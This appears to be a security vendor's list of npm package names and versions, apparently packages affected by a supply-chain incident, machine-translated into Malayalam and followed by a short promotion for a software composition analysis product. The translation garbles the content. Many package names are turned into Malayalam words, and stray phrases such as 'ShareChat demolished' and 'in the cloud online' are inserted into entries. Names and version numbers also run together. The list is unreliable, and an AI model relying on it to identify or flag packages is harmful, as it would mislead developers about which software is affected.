@zapier/secret-scrubber1.1.5, 1.1.4, 1.1.3
എഐ-ക്രൗൾ-ഷീൽഡ്1.0.7
ആർക്ക്-ക്ലൈ-എഫ്‌സി1.0.1
അസിൻകാപ്പി-പ്രിവ്യൂ1.0.2, 1.0.1
ആട്രിക്സ്1.0.1
ഓട്ടോമേഷൻ_മോഡൽ1.0.491
ആക്സിയോസ്-ബിൽഡർ1.2.1
ആക്സിയോസ്-റദ്ദാക്കാവുന്നത്1.0.2, 1.0.1
ആക്സിയോസ്-ടൈംഡ്1.0.2, 1.0.1
ബെയർബോൺസ്-സിഎസ്എസ്1.1.4, 1.1.3
ബെൻമോസ്റ്റിൻ-ഫ്രെയിം-പ്രിന്റ്1.0.1
മികച്ചജിപിഐഒകണ്ട്രോളർ1.0.10
ബൈഡയറക്ഷണൽ-അഡാപ്റ്റർ1.2.2, 1.2.4, 1.2.5, 1.2.3
ബ്ലിൻക്യോ-എക്സിക്യൂഷൻസ്-ക്ലൈ1.0.41
ബ്ലോബ്-ടു-ബേസ്641.0.3
ബൺ-പ്ലഗിൻ-httpfile0.1.1
ബൈറ്റ്കോഡ്-ചെക്കർ-ക്ലൈ1.0.11, 1.0.8, 1.0.9, 1.0.10
ബൈറ്റുകൾ മുതൽ x വരെ1.0.1
കാൽക്-ലോൺ-പലിശ1.0.4
കപ്പാസിറ്റർ-പ്ലഗിൻ-ആപ്പ് ട്രാക്കിംഗ്0.0.21
കപ്പാസിറ്റർ-പ്ലഗിൻ-പർച്ചേസ്0.1.1
കപ്പാസിറ്റർ-പ്ലഗിൻ-scgssigninwithgoogle0.0.5
കപ്പാസിറ്റർ-വാങ്ങൽ-ചരിത്രം0.0.10
കപ്പാസിറ്റർ-വോയ്‌സ്-റെക്കോർഡർ-wav6.0.3
ക്രോം-എക്സ്റ്റൻഷൻ-ഡൗൺലോഡുകൾ0.0.3, 0.0.4
ക്ലോഡ്-ടോക്കൺ-അപ്ഡേറ്റർ1.0.3
കോയിൻമാർക്കറ്റ്ക്യാപ്-എപിഐ3.1.3, 3.1.2
നിറങ്ങൾ-റെജക്സ്2.0.1
കമാൻഡ്-ഐറൈൽ0.5.4
താരതമ്യം ചെയ്യുക-വസ്തു1.1.1, 1.1.2
സംയുക്ത-കുറയ്ക്കുന്നയാൾ1.0.4, 1.0.3, 1.0.2, 1.0.5
കണക്കു കൂട്ടുക1.0.2, 1.0.1
സിപിയു-നിർദ്ദേശങ്ങൾ0.0.14
ക്രിയേറ്റ്-ഡയറക്ടർ-ആപ്പ്0.1.1
ക്രിയേറ്റ്-ഗ്ലീ-ആപ്പ്0.2.3, 0.2.2
ക്രിയേറ്റ്-ഹാർഡ്ഹാറ്റ്3-ആപ്പ്1.1.4, 1.1.3, 1.1.1, 1.1.2
ക്രിപ്‌റ്റോ-അഡ്ഡർ-കോഡെക്0.1.9
സിഎസ്എസ്-ഡീഡൂപ്പ്0.1.2
dashboard-ശൂന്യമായ അവസ്ഥ1.0.3
ഡിസൈൻസ്റ്റുഡിയക്സ്1.0.1
ഡെവലപ്മെന്റ്-ക്ലൈ1.0.6
ഡയലോഗ്ഫ്ലോ-എസ്1.1.4, 1.1.3, 1.1.1, 1.1.2
ഡിസ്കോർഡ്-ബോട്ട്-സെർവർ0.1.2
ഡോക്യുസോറസ്-പ്ലഗിൻ-വാനില-എക്‌സ്‌ട്രാക്റ്റ്1.0.3
പോകരുത്1.1.2
ഡോട്ട്നെറ്റ്-ടെംപ്ലേറ്റ്0.0.3, 0.0.4
ഡ്രോപ്പ്-ഇവന്റ്സ്-ഓൺ-പ്രോപ്പർട്ടി-പ്ലഗിൻ0.0.2
ഇമെയിൽ-ഡെലിവറബിലിറ്റി-ടെസ്റ്റർ1.1.1
enforce-branch-name1.1.3
എസ്ബിൽഡ്-പ്ലഗിൻ-ബ്രോട്ട്ലി0.2.1
എസ്ബിൽഡ്-പ്ലഗിൻ-എറ്റ0.1.1
esbuild-plugin-httpfile0.4.1
എസ്ലിന്റ്-കോൺഫിഗ്-നിറ്റ്പിക്കി4.0.1
എസ്ലിന്റ്-കോൺഫിഗ്-ട്രിഗോ22.0.2
എസ്ലിന്റ്-കോൺഫിഗ്-സീലാറ്റ്-ബേസ്1.0.4
എതെറിയം-എൻഎസ്0.8.1
evm-checkcode-cli -1.0.15, 1.0.12, 1.0.13, 1.0.14
കൃത്യമായ ടിക്കർ0.3.5
എക്സ്പോ-ഓഡിയോ-സെഷൻ0.2.1
എക്സ്പ്രസ്സോസ്1.1.3
തടിച്ച വിരലുള്ള1.0.2, 1.0.1
ഫീച്ചർ-ഫ്ലിപ്പ്1.0.2, 1.0.1
ഫയർസ്റ്റോർ-സെർച്ച്-എഞ്ചിൻ1.2.3
ഫിറ്റ്ടെക്സ്റ്റ്1.0.3, 1.0.2
ഫ്ലാപ്പ്‌സ്റ്റാക്കുകൾ1.0.2, 1.0.1
പരത്തുക-പരത്താത്തത്1.0.2, 1.0.1
ഫോർമിക്-എറർ-ഫോക്കസ്2.0.1
ഫോർമിക്-സ്റ്റോർ1.0.1
ഫസി-ഫൈൻഡർ1.0.5, 1.0.6
ഗേറ്റ്-ഇവിഎം-ചെക്ക്-കോഡ്22.0.3, 2.0.4, 2.0.5, 2.0.6
ഗേറ്റ്-ഇവിഎം-ടൂൾസ്-ടെസ്റ്റ്1.0.7, 1.0.8, 1.0.5, 1.0.6
ഗാറ്റ്സ്ബി-പ്ലഗിൻ-സിനാമം1.0.2, 1.0.1
ജനറേറ്റർ-മീറ്റിയർ-സ്റ്റോക്ക്0.1.6
ജനറേറ്റർ-എൻജി-ഇറ്റോബുസ്0.0.15
അവരെ കുറിച്ച് വാദിക്കുക1.3.3
ജനറേറ്ററിനുള്ള ഗിത്തബ്-ആക്ഷൻ2.1.28, 2.1.27
ഗിറ്റ്സേഫ്1.0.5
ഗോ-ടെംപ്ലേറ്റ്0.1.8, 0.1.9
ഗൾപ്പ്-ഇൻജക്റ്റ്-എൻവിഎസ്1.2.2, 1.2.1
ഹൗഫെ-ആക്സേര-എപിഐ-ക്ലയന്റ്0.0.1, 0.0.2
പ്രതീക്ഷ-മാപ്പ്ബോക്സ്ഡ്രോ0.1.1
പ്രതീക്ഷ വരയ്ക്കുക1.0.3
ഹോവർ-ഡിസൈൻ-പ്രോട്ടോടൈപ്പ്0.0.5
httpness - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChat1.0.3, 1.0.2
ഹൈപ്പർ-ഫുൾഫേസിംഗ്1.0.3
ഹൈപ്പർടേം-ഹിപ്സ്റ്റർ1.0.7
ഐഡിഎസ്-സിഎസ്എസ്1.5.1
ഐഡികൾ-enterprise-എംസിപി-സെർവർ0.0.2
ഐഡികൾ-enterprise-ng20.1.6
ഐഡികൾ-enterprise-ടൈപ്പിംഗുകൾ20.1.6
ഇമേജ്-ടു-യൂറി1.0.2, 1.0.1
ഉറക്കമില്ലായ്മ-പ്ലഗിൻ-റാൻഡം-പിക്ക്1.0.4
ഇൻവോ0.2.2
ഇരുമ്പ്-ഷീൽഡ്-മിനിആപ്പ്0.0.2
ഐടോ-ബട്ടൺ8.0.3
ഇറ്റോബുസ്-കോണീയ0.0.1
ഇറ്റോബുസ്-കോണീയ-ഓഥ്8.0.11
ഐറ്റോബുസ്-കോണീയ-ബട്ടൺ8.0.11
ജേക്കബ്-സുമ1.0.2, 1.0.1
ജെയ്തുട്ട്-വേരിറ്റ്-ടെസ്റ്റ്1.0.2
ജാൻ-ബ്രൗസർ0.13.1
jquery-ബൈൻഡിംഗുകൾ1.1.3, 1.1.2
ജെസൺസർജ്1.0.7
വെറും ടോസ്റ്റി1.7.1
കിൽ-പോർട്ട്2.0.3, 2.0.2
കൊറിയ-അഡ്മിനിസ്ട്രേറ്റീവ്-ഏരിയ-ജിയോ-ജെസൺ-യൂട്ടിലി1.0.7
ക്വാമി1.5.9, 1.5.10
ലാങ്-കോഡുകൾ1.0.2, 1.0.1
ലൈസൻസ്-ഒ-മാറ്റിക്1.2.2, 1.2.1
ലിന്റ്-സ്റ്റേജ്ഡ്-ഇമേജ്മിൻ1.3.1, 1.3.2
ലൈറ്റ്-സെർപ്പർ-എംസിപി-സെർവർ0.2.2
ലൂണോ-എപിഐ1.2.3
മാനുവൽ-ബില്ലിംഗ്-സിസ്റ്റം-മിനിആപ്പ്-എപിഐ1.3.1
മെഡൂസ-പ്ലഗിൻ-പ്രഖ്യാപനം0.0.3
മെഡൂസ-പ്ലഗിൻ-ലോഗുകൾ0.0.17
മെഡൂസ-പ്ലഗിൻ-മോമോ0.0.68
മെഡൂസ-പ്ലഗിൻ-പ്രൊഡക്റ്റ്-റിവ്യൂസ്-കെവിവൈ0.0.4
മെഡൂസ-പ്ലഗിൻ-സലോപേ0.0.40
മോഡ്10-ചെക്ക്-അക്കം1.0.1
മോൺ-പാക്കേജ്-റിയാക്റ്റ്-ടൈപ്പ്സ്ക്രിപ്റ്റ്1.0.1
എന്റെ-സായിദ്-ലിബ്0.1.1
n8n-നോഡുകൾ-tmdb0.5.1
n8n-നോഡുകൾ-വെർസെൽ-ഐ-എസ്ഡികെ0.1.7
n8n-nodes-വൈറൽ-ആപ്പ്0.2.5
നാനോ റീസെറ്റ്7.0.2, 7.0.1
അടുത്ത വൃത്താകൃതിയിലുള്ള ആശ്രിതത്വം1.0.3, 1.0.2
അടുത്ത-ലളിതമായ-ഗൂഗിൾ-അനലിറ്റിക്സ്1.1.1, 1.1.2
അടുത്ത-ശൈലിയിലുള്ള-പ്രോഗ്രസ്1.0.4, 1.0.5
ngx-ഉപയോഗപ്രദമായ-സ്വൈപ്പർ-പ്രൊസെൻജിത്9.0.2
ngx-wooapi (എൻജിഎക്സ്-വൂപി)12.0.1
സാധാരണ-സ്റ്റോർ1.3.1, 1.3.4, 1.3.3, 1.3.2
ഒബ്ജക്റ്റ്-ടു-സിഎസ്എസ്1.0.3, 1.0.2
ഒക്ട-റിയാക്റ്റ്-റൂട്ടർ-65.0.1
open2internet - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChat0.1.1
ഓർബിറ്റ്-ബോക്സിക്കണുകൾ2.1.3
ഓർബിറ്റ്-നെബുല-ഡ്രോ-ടൂളുകൾ1.0.10
ഓർബിറ്റ്-നെബുല-എഡിറ്റർ1.0.2
ഓർബിറ്റ്-സോപ്പ്0.43.13
ഓർക്കെസ്ട്രിക്സ്12.1.2
പാക്കേജ്-ടെസ്റ്റർ1.0.1
പാഴ്‌സൽ-പ്ലഗിൻ-അസറ്റ്-കോപ്പിയർ1.1.3, 1.1.2
pdf-അനോട്ടേഷൻ0.0.2
പിക്ലൈറ്റ്1.0.1
പിക്കോ-യുഐഡി1.0.4, 1.0.3
പികെജി-റീഡ്മീ1.1.1
പോപ്പർ-റിയാക്റ്റ്-എസ്ഡികെ0.1.2
പോസ്റ്റ്‌ഹോഗ്-ഡോക്കുസോറസ്2.0.6
പോസ്റ്റ്‌ഹോഗ്-ജെഎസ്1.297.3
പോസ്റ്റ്‌ഹോഗ്-നോഡ്4.18.1, 5.13.3, 5.11.3
പോസ്റ്റ്‌ഹോഗ്-പ്ലഗിൻ-ഹലോ-വേൾഡ്1.0.1
പോസ്റ്റ്‌ഹോഗ്-റിയാക്റ്റ്-നേറ്റീവ്4.11.1, 4.12.5
പോസ്റ്റ്‌ഹോഗ്-റിയാക്റ്റ്-നേറ്റീവ്-സെഷൻ-റീപ്ലേ1.2.2
പ്രൈം-വൺ-ടേബിൾ0.0.19
പ്രോംപ്റ്റ്-ഇംഗ്ലീഷ്1.0.50
പുണി-റെക്യു1.0.3
ra-auth-firebase (റ-ഓത്ത്-ഫയർബേസ്)1.0.3
റാ-ഡാറ്റ-ഫയർബേസ്1.0.8, 1.0.7
റിയാക്ട്-കോമ്പോണന്റ്-ടാഗറുകൾ0.1.9
റിയാക്ട്-ഡാറ്റ-ടു-എക്സ്പോർട്ട്1.0.1
റിയാക്ട്-എലമെന്റ്-പ്രോംപ്റ്റ്-ഇൻസ്പെക്ടർ0.1.18
റിയാക്ട്-ഫാവിക്1.0.2
റിയാക്ട്-ഹുക്ക്-ഫോം-പെർസിസ്റ്റ്3.0.2, 3.0.1
റിയാക്ട്-ജാം-ഐക്കണുകൾ1.0.2, 1.0.1
റിയാക്ട്-കീക്ലോക്ക്-കൺടെക്സ്റ്റ്1.0.8, 1.0.9
റിയാക്ട്-ലൈബ്രറി-സെറ്റപ്പ്0.0.6
റിയാക്ട്-ലീനിയർ-ലോഡർ1.0.2
react-micromodal.js - ക്ലൗഡിൽ ഓൺലൈനിൽ1.0.2, 1.0.1
react-native-datepicker-modal - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChat1.3.1, 1.3.2
റിയാക്ട്-നേറ്റീവ്-ഇമെയിൽ2.1.1, 2.1.2
റിയാക്ട്-നേറ്റീവ്-ഫെച്ച്2.0.1, 2.0.2
റിയാക്ട്-നേറ്റീവ്-ഗെറ്റ്-പിക്സൽ-ഡൈമൻഷനുകൾ1.0.2, 1.0.1
react-native-google-maps-directions-ൽ നിന്ന് എന്താണ് പ്രതീക്ഷിക്കേണ്ടത്?2.1.2
റിയാക്ട്-നേറ്റീവ്-ജാം-ഐക്കണുകൾ1.0.2, 1.0.1
റിയാക്ട്-നേറ്റീവ്-ലോഗ്-ലെവൽ1.2.2, 1.2.1
react-native-modest-ചെക്ക്‌ബോക്സ്3.3.1
റിയാക്ട്-നേറ്റീവ്-മോഡസ്റ്റ്-സ്റ്റോറേജ്2.1.1
റിയാക്ട്-നേറ്റീവ്-ഫോൺ-കോൾ1.2.2, 1.2.1
റിയാക്ട്-നേറ്റീവ്-റീട്രിയബിൾ-ഫെച്ച്2.0.1, 2.0.2
റിയാക്ട്-നേറ്റീവ്-യൂസ്-മോഡൽ1.0.3
റിയാക്ട്-നേറ്റീവ്-വ്യൂ-ഫൈൻഡർ1.2.2, 1.2.1
റിയാക്ട്-നേറ്റീവ്-വെബ്‌സോക്കറ്റ്1.0.4, 1.0.3
റിയാക്ട്-നേറ്റീവ്-വർക്ക്ലെറ്റ്-ഫംഗ്ഷനുകൾ3.3.3
react-qr-image (റിയാക്ട്-ക്യുആർ-ഇമേജ്)1.1.1
rediff1.0.5
റീഡിഫ്-വ്യൂവർ0.0.7
റീഡക്സ്-റൂട്ടർ-കിറ്റ്1.2.2, 1.2.4, 1.2.3
റോൾഅപ്പ്-പ്ലഗിൻ-httpfile0.2.1
sa-കമ്പനി-രജിസ്ട്രേഷൻ-നമ്പർ-റെജക്സ്1.0.2, 1.0.1
സായിദ്-ജെൻ1.0.4, 1.0.5
അതേപോലെ തന്നെ1.0.3
scgs-കപ്പാസിറ്റർ-സബ്‌സ്‌ക്രൈബ് ചെയ്യുക1.0.11
scgsffക്രിയേറ്റർ1.0.5
സെറ്റ്-നെസ്റ്റഡ്-പ്രോപ്പ്2.0.1, 2.0.2
ഷെൽഫ്-ജെഡബ്ല്യുടി-സെഷനുകൾ0.1.2
ഷെൽ-എക്‌സിക്1.1.4, 1.1.3
ഷിൻഹാൻ-ലിമിറ്റ്-സ്ക്രാപ്പ്1.0.3
കഴിവുകൾ-ഉപയോഗം0.1.2, 0.1.1
സോളമൻ-എപി-കഥകൾ1.0.2
സോളമൻ-v3-കഥകൾ1.15.6
സോളമൻ-v3-ui-റാപ്പർ1.6.1
ദൂരം അനുസരിച്ച് അടുക്കുക2.0.1
ദക്ഷിണാഫ്രിക്കൻ ഐഡി വിവരങ്ങൾ1.0.2
സ്റ്റാറ്റ്-എഫ്എൻഎസ്1.0.1
സ്റ്റൂർ2.3.2
സൂപ്പർ-commit1.0.1
സ്വെൽറ്റ്-ഓട്ടോകംപ്ലീറ്റ്-സെലക്ട്1.1.1
സ്വെൽറ്റ്-ടോസ്റ്റി1.1.3, 1.1.2
ടാൻസ്റ്റാക്ക്-ഷാഡ്സിഎൻ-ടേബിൾ1.1.5
ടിസിഎസ്പി2.0.2
ടിസിഎസ്പി-ഡ്രോ-ടെസ്റ്റ്1.0.5
ടിസിഎസ്പി-ടെസ്റ്റ്-വിഡി2.4.4
ടെംപ്ലേറ്റ്-ലിബ്1.1.4, 1.1.3
ടെംപ്ലേറ്റ്-മൈക്രോ-സർവീസ്1.0.3, 1.0.2
ടെനേഷ്യസ്-ഫെച്ച്2.3.3, 2.3.2
ടെസ്റ്റ്-ഫൗണ്ടറി-ആപ്പ്1.0.4, 1.0.3, 1.0.2, 1.0.1
ടെസ്റ്റ്-ഹാർഡ്ഹാറ്റ്-ആപ്പ്1.0.4, 1.0.3, 1.0.2, 1.0.1
ടെസ്റ്റ്23112222-എപിഐ1.0.1
ടിയാൻ1.0.2
token.js-fork - ക്ലൗഡിൽ ഓൺലൈനിൽ0.7.32
ട്രൈഗോ-റിയാക്റ്റ്-ആപ്പ്4.1.2
ടൈപ്പ്ഫെൻസ്1.2.2, 1.2.3
ടൈപ്പോർം-ഓർബിറ്റ്0.2.27
സുരക്ഷിതമല്ലാത്ത ടൈപ്പ് ചെയ്തത്1.0.4, 1.0.3
അപ്‌ലാൻഡുയി0.5.4
പ്ലേ സ്റ്റോറിലേക്ക് അപ്‌ലോഡ് ചെയ്യുക1.0.2, 1.0.1
url-എൻകോഡ്-ഡീകോഡ്1.0.2, 1.0.1
സേവ് ചെയ്യാത്ത മാറ്റങ്ങൾ ഉപയോഗിക്കുക1.0.9
സാധുവായ-ദക്ഷിണാഫ്രിക്കൻ-ഐഡി1.0.3
vf-oss-ടെംപ്ലേറ്റ്1.0.4, 1.0.3, 1.0.2, 1.0.1
വിറ്റ്-പ്ലഗിൻ-httpfile0.2.1
വ്യൂ-ബ്രൗസർഅപ്ഡേറ്റ്-നക്സ്റ്റ്1.0.5
വെബ്-സ്ക്രാപ്പർ-എംസിപി1.1.4
വെബ്-ടൈപ്പുകൾ-htmx0.1.1
വെബ്-ടൈപ്പ്സ്-ലൈറ്റ്0.1.1
വെബ്‌പാക്ക്-ലോഡർ-httpfile0.2.1
വെൽനസ്-എക്‌സ്‌പേർട്ട്-എൻജി-ഗാലറി5.1.1
വെങ്ക്1.0.9, 1.0.10
സാപ്പിയർ-അസിങ്ക്-സ്റ്റോറേജ്1.0.3, 1.0.2, 1.0.1
സാപ്പിയർ-പ്ലാറ്റ്ഫോം-ക്ലൈ18.0.4, 18.0.3, 18.0.2
സാപ്പിയർ-പ്ലാറ്റ്ഫോം-കോർ18.0.4, 18.0.3, 18.0.2
സാപ്പിയർ-പ്ലാറ്റ്‌ഫോം-സ്കീമ18.0.4, 18.0.3, 18.0.2
സാപ്പിയർ-സ്ക്രിപ്റ്റുകൾ7.8.3, 7.8.4
സുപ്പർ-ക്ലൈ1.0.1
സൂപ്പർ-എസ്ഡികെ1.0.57
സൂപ്പർ-സ്ട്രീം2.0.9
സ്കാ-ടൂളുകൾ-സോഫ്റ്റ്‌വെയർ-കോമ്പോസിഷൻ-വിശകലന-ടൂളുകൾ
നിങ്ങളുടെ സോഫ്റ്റ്‌വെയർ അപകടസാധ്യതകൾക്ക് മുൻഗണന നൽകുക, പരിഹരിക്കുക, സുരക്ഷിതമാക്കുക
നിങ്ങളുടെ സൗജന്യ അക്കൗണ്ട് നേടൂ.
ക്രെഡിറ്റ് കാർഡ് ആവശ്യമില്ല.

നിങ്ങളുടെ സോഫ്റ്റ്‌വെയർ വികസനവും ഡെലിവറിയും സുരക്ഷിതമാക്കുക

സൈജെനി ഉൽപ്പന്ന സ്യൂട്ടിനൊപ്പം